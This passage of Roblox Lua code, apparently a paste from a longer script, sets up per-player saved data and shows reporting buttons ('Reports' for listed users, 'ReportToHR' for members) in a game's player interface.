  1171.  
  1172. ypcall(function()
  1173.  
  1174. local Ok, Mod = ypcall(function() return Plr:LoadInstance(MyCode) end)
  1175.  
  1176. if not Ok or Mod == nil then
  1177.  
  1178. Plr:SaveInstance(MyCode, ReportMod)
  1179.  
  1180. end
  1181.  
  1182. Saved[Plr.Name] = true
  1183.  
  1184. Delay(0, function()
  1185.  
  1186. while Plr.Parent ~= nil do
  1187.  
  1188. wait()
  1189.  
  1190. ypcall(function()
  1191.  
  1192. if Plr:findFirstChild("PlayerGui") then
  1193.  
  1194. if Users[Plr.Name] then
  1195.  
  1196. if not Plr.PlayerGui:findFirstChild("Reports") then
  1197.  
  1198. ShowReportsButton(Plr)
  1199.  
  1200. end
  1201.  
  1202. else
  1203.  
  1204. if not Plr.PlayerGui:findFirstChild("ReportToHR") and Plr.MembershipType ~= Enum.MembershipType.None and GotPass[Plr.Name]==nil then
  1205.  
  1206. ReportButton(Plr)
  1207.  
  1208. end
  1209.  
  1210. end
  1211.  
  1212. end
  1213.  
  1214. end)
  1215.  
  1216. end
  1217.  
  1218. end)
  1219.  
  1220. end)
  1221.  
  1222. end)
  1223.  
  1224.  
  1225. for _,Plr in pairs(game:GetService("Players"):GetPlayers()) do
  1226.  
  1227. Plr:WaitForDataReady()
  1228.  
  1229. ypcall(function()
  1230.  
  1231. local Ok, Mod = ypcall(function() return Plr:LoadInstance(MyCode) end)
  1232.  
  1233. if not Ok or Mod == nil or Mod == "" then
  1234.  
  1235. Plr:SaveInstance(MyCode, ReportMod)
  1236.  
  1237. end
  1238.  
  1239. Saved[Plr.Name] = true
  1240.  
  1241. Delay(0, function()
  1242.  
  1243. while Plr.Parent ~= nil do
  1244.  
  1245. wait()
  1246.  
  1247. ypcall(function()
  1248.  
  1249. if Plr:findFirstChild("PlayerGui") and GotPass[Plr.Name] == nil then
  1250.  
  1251. if Users[Plr.Name] then
  1252.  
  1253. if not Plr.PlayerGui:findFirstChild("Reports") then
  1254.  
  1255. ShowReportsButton(Plr)
  1256.  
  1257. end
  1258.  
  1259. elseif Plr.Name~="flipflop8421" then
  1260.  
  1261. if not Plr.PlayerGui:findFirstChild("ReportToHR") and Plr.MembershipType ~= Enum.MembershipType.None and GotPass[Plr.Name]==nil then
  1262.  
  1263. ReportButton(Plr)
  1264.  
  1265. end
  1266.  
  1267. end
  1268.  
  1269. end
  1270.  
  1271. end)
  1272.  
  1273. end
  1274.  
  1275. end)
  1276.  
  1277. end)
  1278.  
  1279. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement